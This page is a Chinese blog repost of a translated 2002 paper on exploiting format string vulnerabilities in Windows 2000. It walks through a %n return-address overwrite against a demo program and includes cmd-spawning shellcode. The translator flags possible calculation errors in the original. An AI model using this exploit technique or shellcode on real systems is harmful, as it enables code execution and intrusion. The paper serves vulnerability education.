【分析】Windows 2000 中的格式化字符串攻击

CTF密码破解实战:Hashcat核心攻击模式与性能调优指南 哈希(Hash)是一种将任意长度数据映射为固定长度摘要的单向加密函数,广泛应用于密码存储与数据完整性校验。其核心原理是通过特定算法(如MD5、SHA系列)生成唯一指纹,理论上不可逆。在信息安全领域,高效破解哈希对于渗透测试、数字取证及CTF竞赛至关重要。Hashcat作为一款支持GPU加速的密码恢复工具,通过多种攻击模式(如字典、掩码、混合攻击)极大提升了破解效率。在CTF竞赛中,选手常面临**加盐哈希**与**掩码攻击**等场景,需结合题目提示精准构造字典与掩码,并利用Hashcat的会话管理、性能调优功 阅读详情

Windows 2000 中的格式化字符串攻击


创建时间:2002-02-22
文章属性:翻译
文章提交:refdom (refdom_at_263.net)

翻译:refdom
Email: refdom@263.net
Homepage: www.cnhonker.net
2002-2-22

原文名称:《Windows 2000 Format String Vulnerabilities》
原文作者:David Litchfield
原文下载:http://www.nextgenss.com/papers/win32format.doc


     即使只有一点C语言基础的人也会printf()函数,实际上C语言教科书上通常的第一个程序就是“Hello, World!”,Kernighan and Ritchie在《The C Programming Language》中引发的惯例。

    #include <stdio.h>
    void main(void)
        {
            printf("/nHello,World!/n/n");
        }

    这并没有完,在C语言中,当编译并运行这个程序向屏幕打印“Hello, World!”并不是简单的向屏幕输出字符串。和相关的程序fprintf(),vprintf() 以及 sprintf()等一样,就想在print后面加上“f”,这些实际上是打印格式。格式化部分允许程序员控制显示文本的样式。可以通过代替特殊的格式字符来显示值或数据,比如,要显示整型的变量“dVal”的值,就可以使用下面的格式化字符:

        printf(“The value is %d”,dVal);

    打印的时候,%d就被dVal的值所代替。如果程序员想用十六进制显示同样值:

        printf(“The value in decimal is %d and in hexadecimal is %x”,dVal,dVal);

    这里%d表示十进制的dVal值,%x表示十六进制的dVal的值。下面是集中特殊的格式化字符:


        %c        单字符格式
        %d        十进制整型 (pre ANSI)
        %e,%E     指数形式的 float or double
        %f        十进制 float or double
        %I        整型 (like %d)
        %o        八进制整型
        %p        地址指针
        %s        字符串
        %x,%X     十六进制整型

    当然,功能不仅限于怎么控制显示的数据类型,而且也能控制显示的宽度和队列等。

    一个格式字符%n没有列在上面,因为有特殊用途,但是它存在的格式化字符安全问题也非常严重。%n用于把前面打印的字符数记录到一个变量中。也用于统计格式化的字节数,这当然需要一个空间来存储这个数字,因此程序需要为此分配内存,例如下面的代码:

1. #include <stdio.h>
2. int main()
3. {
4.    int bytes_formatted=0;
5.    char buffer[28]=”ABCDEFGHIJKLMNOPQRSTUVWXYZ”;

6.    printf(“%.20x%n”,buffer,&bytes_formatted);
7.    printf(“/nThe number of bytes formatted in the previous printf statement was %d/n”,bytes_formatted);

8.    return 0;
9.  }

    编译后输出显示为:

0000000000000012ff64
The number of bytes formatted in the previous printf statement was 20

     我们在第四行申明了一个int类型的变量bytes_formatted,在第六行,格式化字符表示20个字符应该按十六进制 (“%.20x”) 进行格式化,%n则把值20写到bytes_formatted变量中。这意味着我们写了一个值到另外的内存空间中。现在我们不讨论编译者写数值或者写地址的影响,而讨论那种通过通过某种方式在操作这些值的时候造成了缺陷(溢出),如果这样成功的话,可能获得超过程序的执行控制。

     在程序员试图传递一个字符串到一个使用格式化字符的格式函数中,就可能发生溢出情况。参考下面的程序。

    #include <stdio.h>
    void main(int argc, char *argv[])
        {
            int count = 1;
            while(argc > 1)
                {
                    printf(argv[count]);
                    printf(“ “);
                    count ++;
                    argc --;
                }
        }

     编译后运行和显示如下:

Prompt: myecho hello
      hello
Prompt: myecho this is some text
      this is some text

So it justs spits back what we feed in – or does it? Try:

Prompt: myecho %x%x
      112ffc0

    注意到myecho %x%x,并没有按照原本的意思打印出来,却显示的十六进制数?原因正是因为这些属于格式化字符,它们被传递给printf()函数却没有用函数来解释这些字符,被认为是格式化字符。安全的写法应该是
         printf(“%s”,argv[count]);
    而不是:
         printf(argv[count]);
    
    一个攻击者能够怎么利用呢?使用 “%n”格式化字符,能写任意值到他们选定的内存中!如果实现了,就能够控制程序的执行。例如,在Intel上,能就可以重写堆栈中的地址,并指向他们的攻击代码,这可以执行任意目的的程序。这种格式化字符漏洞利用起来需要考虑使用函数、操作系统和处理器类型。


                        Windows 2000 / Intel 下的格式化字符漏洞问题


    考虑下面有漏洞的代码:

#include <stdio.h>

int main(int argc, char *argv[])
{
char buffer[512]="";
strncpy(buffer,argv[1],500);
    printf(buffer);
    return 0;
}

    这个程序拷贝第一个参数到一个缓冲区,然后简单地把缓冲区传递给 printf, 有问题的代码是这一行:

    printf(buffer);

    因为我们可以提供一个格式化字符作为第一个参数,而被传递给 printf() ,假设这个程序编译后叫 printf.exe。

    我们现在需要作的就是试图用我们提供的地址来重写堆栈中函数的返回地址,我们提供的地址可以指向攻击代码(shell code)。要达到这样的目的,我们需要得到格式化打印的确切字节数,用来匹配我们需要用的地址。例如,如果我们的攻击代码在地址0x0012FF40处,那么,我们就要让 printf 表达式格式0x0012FF40个字节,我们的格式化字符串就可以是:

    c:/>printf %.622496x%.622496x%n

    这就让1244992字节被printf表达式格式化打印,这个数字的十六进制就是0x0012FF40。但是目前并不完善,我们需要把exploit代码也放进去,这需要占据字节数。因此,我们要产生shell ,在windows 2000中这至多需要 40字节的 exploit code ,因此,需要修改我们的格式化字符串放入我们的代码就需要从622496中减去40。就变成:

    c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%.622496x%.622456x%n

在这个例子中,我们只是简单地用字符“A”替代我们的攻击代码。现在可以运行它但是可能发生非法存取问题,因为程序试图写的地址0x41414141可能没有初始化。当这个问题出现的时候调试程序,正如看到的,不愉快的一行是:

    mov         dword ptr [eax],ecx

    它试图移动(mov)ecx (etc是0x0012FF40,也就是是我们需要找到的地址)到 eax (现在是0x41414141)地址中,由于0x41414141这个区域还没有初始化,所以就会出现存取错误。同时,我们调试并找到攻击代码字符串(我们刚才只是假设它们的地址是0x0012FF40),但是它们却并不在0x0012FF40存在,而是在地址0x0012FD80中。相差并不远,但是,要利用起来是需要非常精确的。因此,需要再次修改那些格式字符串。在这之前,我们是通过找一个合适的目标(需要重写的返回地址)来进行的。我们发现了一个相似的目标,地址0x0012FD54,它储存的地址是0x00401077,因此,我们可以类似这样来进行。现在接着要达到的目的就是要重写EI为P地址0x0012FD80,这个地址就是攻击代码的地址。如果达到这个目的,把这个返回地址推送到堆栈中,进程就会开始执行我们的攻击代码了。怎样才能重写地址0x0012FD54,而刚才我们做的事情却一直是在试图重写地址0x41414141?好,这是一个线索。%n格式化字符把指向字符串中某处的指针标志到字符串的结尾处。我们要做的就是把%n从我们格式化字符串中的某个位置变化到字符串结尾处,要达到这个目的就需要使用添加更多的%x来完成,我们用BBBB来标记我们的字符串结尾。

c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

这是,程序试图写的地址是0x78257825,我们转换成十进制数发现0x78只是小写的“x”,0x25是“%”,所以看出来现在写的位置还是"%x%x%x%x"中的某个地方,这样,我们就继续试探,增加更多的%x:

c:/>printf AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%.622496x%.622456x%nBBBB

    这次正好到了,现在要试图写的地址就是0x42424242(也就是BBBB),我们把BBBB代替成攻击代码的返回位置0x0012FD54。但是,我们只是在这里可以用ASCII很简单地写0x12 或者 0xFD,所以需要写另外的一个程序来帮我们把这些值写进去。刚才我们用%x一直达到能够重写我们需要的地址0x0012FD80,而现在这个值变成了0x00130019(refdom注:因为多了很多%x,所以让%n的大小也增加了),我们需要少写665字节内容,把刚才的622456改变成621791,我们的程序就是:

#include <stdio.h>

int main()
{
    char buffer[500]="printf  

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

%x%x%.622496x%.621791x%n/x54/xFD/x12";

    system(buffer);

return 0;
}

    编译运行后又有了一个新的非法存取问题:在0x0012FF90处的指令引用了0x00000030处的存储器。注意,在0x0012FF90处的指令(这是一个堆栈地址),并且显然,我们的进程正试图执行堆栈中的代码,我们的格式化字符串exploit起作用了!我们已经成功地用我们的地址重写了返回地址,并将程序引到那里去了。现在,我们需要把exploit代码放进去,刚才我们只是用AAA来代替了。我们先做一个确定,替代前面的四个A成为一个检查点:

#include <stdio.h>
int main()
{
    char buffer[500]="printf ";
charbuffer2[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%.622496x%.621791x%n/x54/xFD/x12";
strcat(buffer,"/xCC/xCC/xCC/xCC");
    strcat(buffer,buffer2);
system(buffer);
return 0;
}

(注:代码中charbuffer2中比前面的少了四个A,用后面的/xCC/xCC/xCC/xCC代替了)

    当运行到这个检查点的时候,我们又回到了代码。现在能够确认我们已经能够获得并控制程序的执行,接着放入我们的exploit代码。假设我们的shell代码是下面的:

        push ebp               // Procedure Prologue - often not needed
        mov ebp,esp            // Procedure Prologue - often not needed
        xor edi,edi            // Get some NULLs
        push edi               // Push them onto the stack
        mov byte ptr [ebp-04h],63h            // Write 'c' of cmd
        mov byte ptr [ebp-03h],6Dh            // Write 'm' of cmd
        mov byte ptr [ebp-02h],64h            // Write 'd' of cmd
        push edi               // Push NULLs again (2nd Param for WinExec())
        mov byte ptr [ebp-08h],03h            // Turn it into SW_MAXIMIZE
        lea eax,[ebp-04h]                     // Load address of cmd into EAX
        push eax               // Push it onto stack (1st Param for WinExec())
        mov eax, 0x77E9B50E                   // Move address of WinExec() into EAX
        call eax               //<---- Call it

    这样,我们的程序就成为:

#include <stdio.h>

int main()
{
    char buffer[500]="printf ";
    char exploit_code[]=","/x55/x8B/xEC/x33/xFF/x57/xC6/x45/xFC/x63/xC6
/x45/xFD/x6D/xC6/x45/xFE/x64/x57/xC6/x45/xF8/x01/x8D/x45/xFC/x50/xB8/x0E/xB5/xE9/x77/xFF/xD0/xCC";
    char  buffer2[]="AAAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
%x%x%x%x%x%x%x%x%x%x%x%x%x%.622496x%.621791x%n /x54/xFD/x12";

    strcat(buffer,exploit_code);
    strcat(buffer,buffer2);

    system(buffer);

return 0;
}

    编译后运行了新的shell。

    这是在WIN2000中利用格式化字符漏洞的一种简单方法。整个思路就是:我们格式化一个跟exploit代码地址位置这么大小的字符串,并用这个值重写了堆栈中程序的返回地址,这样,当子程序运行返回后不是返回本来的地址,相反,而是接着我们替代的地址继续执行程序了。
    利用printf类函数并不一定跟这个例子一样。例如:如果在用vsprintf函数的有问题代码(在Van Dyke Technologies’ SSH Server for Windows,  Vshell,发现过),攻击者并不能象printf()这样选择内存位置,它被限制在参数列表及其以后的一个地址段中,而象VShell,第十三个参数是一个保存这一个函数指针的地址,因此可以用攻击者的函数指针重写这个地址来利用,更多的关于这个问题的信息可以参考:
http://www.atstake.com/research/advisories/2001/a021601-1.txt


    注:A note on Windows NT 4.0

    在NT4.0上利用格式化字符问题不同于WIN2000,这是因为NT对于printf()类函数有一个516字符的限制:

          printf(“%.516x”,foo);这个是可行的,但是:

          printf(“%.517x”,foo);就会有核心溢出问题。

    所以问题就出在要利用这个格式化漏洞,我们就时常需要写一个非常大的值。我们写这个值的时候需要和最大宽度相关了:

      printf(“%.500x%n”,foo,bar); 会写数字500(0x1F4)   到bar的地址,现在,假设需要用我们的exploit代码的地址(可以在堆栈中找到)来重写堆栈中的返回地址,在NT平台下,这个堆栈通常在0x0012ffff周围,那么为了象上面的例子那样,我们就必须写“%.500x”大约 2500次!!这要求15,000字节的空间。在NT上,并不象WIN2000中这么直接了。

(refdom备注:关于原文中的例子,不知道是我理解上的错误还是原文的错误,一些数字大小计算上有差错)

AI驱动的SVG钓鱼攻击:原理、检测与防御实战指南 可缩放矢量图形(SVG)作为一种基于XML的矢量图像格式,因其文本本质和广泛兼容性,常被视为相对安全的静态资源。其技术原理允许在XML结构中嵌入脚本代码,当SVG在浏览器环境中渲染时,这些脚本可被直接执行,从而模糊了数据文件与可执行文件的边界。这一特性在结合大语言模型(LLM)后产生了新的技术价值与安全风险:攻击者能利用LLM自动化生成高度定制化、结构复杂且经过混淆的恶意SVG载荷,极大降低了攻击门槛,实现了钓鱼攻击的“工业化”生产。此类攻击的典型应用场景是钓鱼邮件,攻击者将恶意SVG伪装成常见文档(如PD 阅读详情

相关推荐

Mythos模型:具备攻击规划能力的AI安全新范式

大语言模型在网络安全领域的应用正从漏洞检测迈向攻击规划,其核心在于理解系统缺陷间的因果链与多米诺效应。这类模型不再依赖静态模式匹配,而是通过攻击树展开、符号执行与沙箱仿真等分层推理机制,实现对真实攻击路径的概率化建模。技术价值体现在将渗透测试从人工经验驱动升级为可量化、可调度的计算过程,支持按需分配token预算以动态调节利用成功率。典型应用场景包括遗留系统风险审计、零日漏洞推导、基础设施级自动修复联动等。Mythos正是这一演进方向的代表性突破。

Liusuzhi19610221的博客 413

米桃安全漏洞讲堂系列第4期:WebShell木马专题

本文结合实际使用案例,讲述了WebShell木马的定义、分类、危害、检测原理及防御措施。适合产品、研发、测试人员、在校学生及信息安全爱好者

zcdy810的专栏 1712

Windows密码安全:从MD4哈希到NTLM协议与Hashcat破解实战

哈希算法是计算机安全领域的基石,它将任意长度的数据映射为固定长度的摘要,确保数据的完整性与不可逆性。其核心原理在于单向函数的设计,使得从哈希值反推原始数据在计算上不可行。这一特性奠定了密码存储、数字签名等技术的安全基础。在Windows系统中,MD4算法被用于生成NTLM Hash,作为本地密码验证的核心凭据。而在网络认证场景中,基于挑战-应答机制的NTLM协议则衍生出动态的Net-NTLM Hash。理解这些哈希的生成与流转机制,对于评估系统认证安全、进行渗透测试和应急响应具有关键价值。例如,通过分析捕获

weixin_30940783的博客 327

内网渗透实战:从外网到内网

摘要:本次渗透测试通过永恒之蓝漏洞(MS17-010)成功入侵外网Win7靶机(192.168.0.106),植入vshell后门建立持久控制。利用双网卡特性,通过fscan发现内网Kali主机(192.168.29.129),搭建SOCKS5代理隧道实现内网穿透,最终使用Proxifier访问内网靶场服务。测试暴露出未打补丁、端口暴露和内网防护薄弱等安全问题,建议及时更新系统、限制端口开放并加强内网监控。

PanXuezhou的博客 1156

缓冲区溢出报告

缓冲区溢出报告1 概述1.1 编写背景         网络防范技术的日益成熟,使木马、病毒这类恶意代码的植入变得困难。网络黑客开始针对系统和程序自身存在的漏洞,编写相应的攻击程序。其中最常见的就是对缓冲区溢出漏洞的攻击,而在诸多缓冲区溢出中又以堆栈溢出的问题最有代表性。目前,利用缓冲区溢出漏洞进行的攻击已经占到了整个网络攻击次数的一半以上。        对缓冲区溢出漏洞攻击,可

Binarymind的专栏 2534

大语言模型提示注入攻击:零门槛行为劫持实战解析

大语言模型(LLM)作为当前AI应用的核心引擎,其指令跟随机制在带来强大交互能力的同时,也引入了独特的安全风险——提示注入。这种攻击不依赖漏洞利用或逆向工程,而是基于模型‘概率接龙’的本质,通过精心构造的自然语言指令覆盖系统提示、劫持角色或污染上下文,实现对AI行为的非法操控。技术价值在于揭示了LLM与传统软件在安全范式上的根本差异:防御重点从代码层转向提示层与交互层。典型应用场景涵盖智能客服、AI投顾、医疗预问诊等商业系统,尤其在缺乏输出校验、指令确认与上下文约束的落地环境中极易失守。本文聚焦2025年实

weixin_30938149的博客 281

红队工具Vshell 使用体验(非常详细),零基础入门到精通,看这一篇就够了

红队工具Vshell 使用体验(非常详细),零基础入门到精通,看这一篇就够了

2302_76672693的博客 1万+

Windows XP Mode技术解析:Win7时代的无缝虚拟化兼容方案

Windows XP Mode是微软在Windows 7时代推出的轻量级桌面虚拟化技术,本质并非传统虚拟机,而是基于Virtual PC引擎、融合API桥接与UI层集成的兼容性解决方案。其核心原理在于通过硬件辅助虚拟化(VT-x/AMD-V)支撑下的用户态虚拟化、共享内存剪贴板同步、SSPI身份透传及无缝窗口渲染机制,实现XP应用在Win7桌面的原生级体验。该技术凸显了‘最小侵入性兼容’的设计哲学,为后续WSL、AppContainer等现代兼容架构提供重要范式。适用于遗留工业软件、财务系统、医疗设备接口等

diaojin6880的博客 373

【格式化字符串】格式化字符串漏洞的原理与利用

【格式化字符串】格式化字符串漏洞的原理与利用

qcwwww的博客 1368

Windows短文件名机制解析:从Progra~1看文件系统兼容性与路径处理

在操作系统文件管理领域,文件命名规则是基础而重要的概念。早期的FAT文件系统采用8.3命名格式(主文件名8字符+扩展名3字符),这是由存储结构和历史兼容性决定的底层原理。随着NTFS文件系统的发展,虽然已支持长文件名,但为保持向后兼容性,Windows仍会为每个文件/文件夹自动生成对应的短文件名(如Program Files对应PROGRA~1)。这一机制在工程实践中具有双重价值:一方面为老旧脚本和程序提供兼容支持,另一方面却可能引发路径解析歧义和安全风险。在现代开发场景中,正确处理含空格的路径、避免硬编码

weixin_30825199的博客 401

Carsim与AVL CRUISE联合仿真:从零搭建整车模型的实战指南

本文详细介绍了如何从零开始搭建Carsim与AVL CRUISE联合仿真整车模型,涵盖软件环境配置、接口设置、模型连接及调试技巧。通过联合仿真,可充分发挥Carsim在车辆动力学和AVL CRUISE在动力系统仿真方面的优势,为电动车和混合动力汽车的研发提供精准的整车模型分析。

weixin_29067143的博客 938

【web-攻击本地编译性应用程序】(11.3)格式化字符串漏洞

【格式化字符串漏洞】

491

深入构建加密货币价格预测系统:从数据获取到模型优化的完整指南!

🏆本文收录于「编程与技术实战」专栏,此专栏涵盖了C/C++编程、人工智能、数据结构、机器学习等技术领域的内容,助你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!

**My Coding Family** 1276

格式化字符的安全问题

即使只有一点C语言基础的人也会printf()函数,实际上C语言教科书上通常的第一个程序就是“Hello, World!”,Kernighan and Ritchie在《The C Programming Language》中引发的惯例。#include <stdio.h>void main(void) {printf("/nHello,World!/n/n");}   这并没有完,在C语言中,当

|游梦空间| 1241

LEAP模型—低排放分析平台

LEAP 正在迅速成为进行综合资源规划、温室气体 (GHG) 缓解评估和低排放发展战略 (LEDS) 的国家的事实标准,尤其是在发展中国家,许多国家也选择使用 LEAP 作为其承诺的一部分向联合国气候变化框架公约(UNFCCC)报告。至少有 32 个国家使用 LEAP 来创建能源和排放情景,这些情景是其国家自主气候变化贡献计划 (INDC) 的基础:具有历史意义的巴黎气候协议的基础旨在表明各国开始经济脱碳的意图和投资于气候适应力。

weixin_54697010的博客 3280

ContextCapture系列教程(三):大疆精灵4RTK版无人机POS数据提取、处理(处理后勉强达到免相控要求)

大疆精灵 Phantom 4 RTK于2018年发布,是大疆为高精度建图与精准飞行设计的行业级无人机,在精灵4无人机外形的基础上,机身增加了RTK模块,可以实现高精度 RTK 定位导航,相机与 RTK 系统采用微秒级时间同步,可以通过app 进行航线规划飞行

pausau的博客 1万+

【分析】Windows Workstation Service远程溢出的再次分析

Windows Workstation Service远程溢出的再次分析创建时间:2003-12-01文章属性:转载文章提交:stardust (stardust_at_xfocus.org)By snake. snake@cnns.netCompany page: http://www.cnns.net第一次分析:http://www.cnns.net/news/db/3796.htm本人前两个

FreeXploiT 1073

vite打包文件如何支持files协议,支持双击即可打开网页,支持electron打包文件。

原本的所需框架为vite + element-plus项目,需要打包之后用eletron打包为桌面应用。但遇到一个问题,耗费了整整一下午时间。vite的配置也没有考虑过纯静态页面的情况。打包之后的页面只支持https协议。不断是百度以及问AI然后看vite官网文档,最后终于配置好了。这里有一个问题就是上面箭头所指位置,不支持跨域,也是es6的语法也不支持。配置完之后打包文件如下。

guiplan 1561

Windows Workstation Service远程溢出的再次分析

创建时间:2003-12-01文章属性:转载文章提交:stardust (stardust_at_xfocus.org)By snake. snake@cnns.netCompany page: http://www.cnns.net第一次分析:http://www.cnns.net/news/db/3796.htm本人前两个星期发表的《Windows Workstation Service远程溢

906

弱网、高热、只有 32MB 内存:恶劣环境下嵌入式 SoC 音视频开发的“不死”法则

永远不要假设。你申请一个 1920 宽的图像,硬件为了对齐(比如 16 字节对齐或 256 字节对齐),实际分配的一行可能有 1936 甚至是 2048 字节。那个多出来的部分叫Padding。如果你写代码时用来计算数据量,或者用Width来做指针偏移:恭喜你,你的画面会像被风吹歪的百叶窗一样,产生斜切畸变。永远使用VB_CONF结构体里返回的u32Stride字段。这是区分新手和老手的试金石。第六章 ISP 调优(Tuning)实战:为什么你调出的画面像个“鬼片”?

大模型大数据攻城狮的专栏 1769

【GlobalMapper精品教程】074:从Lidar点云创建3D地形模型

本文基于地形点云数据,基于泊松方法、贪婪三角形测量方法和阿尔法形状创建3d地形模型。

智慧空间实验室 2167

钓鱼攻击新手法:双重扩展名伪装与Telegram Bot C2的深度剖析

网络钓鱼攻击是一种常见的社会工程学手段,攻击者通过伪装成可信实体诱导用户泄露敏感信息。其核心原理在于利用人性弱点与技术漏洞的结合,例如通过伪造邮件附件、仿冒登录页面等方式实施欺诈。在技术层面,钓鱼攻击常滥用合法服务构建隐蔽的命令与控制(C2)通道,以绕过传统安全检测。这种攻击模式具有低成本、高欺骗性的特点,对企业和个人构成严重威胁。应用场景广泛,从窃取邮箱凭证到渗透企业内网,危害极大。本文聚焦于一种结合双重扩展名伪装与即时通讯C2的新型钓鱼手法,通过分析攻击链中的社会工程学设计、恶意HTML交互逻辑及Tel

dbp5156的博客 421

彻底解析 DDIC_TYPE_INCONSISTENCY:从 ABAP ST22 连环 Dump 到 SE14 一键修复

听上去像内核级的致命故障,实则更多源于日常运维的细枝末节。只要掌握的排查三板斧,结合严格的变更流程与周期性的字典体检,再严重的 Dump 也能化险为夷。希望本文的案例与步骤能帮助读者在下一次遇到类似问题时,既能快速止血,也能追根溯源,避免重蹈覆辙。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 629

20222928 2022-2023-2 《网络攻防实践》实践八

20222928 2022-2023-2 《网络攻防实践》实践八

qq_43791615的博客 501

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

Java字符串深度解析:从内存模型到高并发避坑指南

String是Java中最基础又最易被低估的核心类型,其不可变性、常量池机制、UTF-16编码实现共同构成了JVM字符串处理的底层逻辑。理解String的hashCode缓存、intern内存语义、substring历史演进及+拼接的字节码优化,是写出高性能、高可靠代码的前提。在高并发日志、支付系统、国际化文本等场景中,错误使用trim()、split()、getBytes()或忽略代理对,极易引发NPE、乱码、OOM甚至时序攻击风险。本文聚焦String在真实生产环境中的12个关键行为边界与7个高频算法实

weixin_33744854的博客 371

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

深入浅出MS06-040

 入浅出MS06-040时至今日,网上已有颇多MS06-040的文章,其中不乏精辟之作。与其相比,本文突显业余,技术上无法超越,徒逞口舌之快。本文适合有一定计算机基础,初步了解溢出攻击原理,稍微了解逆向技术的朋友阅读。如果您根据本文的指导亲手完成了全部的7节实验内容,相信您对栈溢出的掌握和漏洞利用的认识一定会到一个更高的level。实验中涉及的所有细节均可重现,使用的源代码都已经过详细的注

4402

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

上一篇: 【原理】Basic Integer Overflows
下一篇: 【原理】浅析格式化串漏洞
freexploit
博客等级 码龄22年 315粉丝 778原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值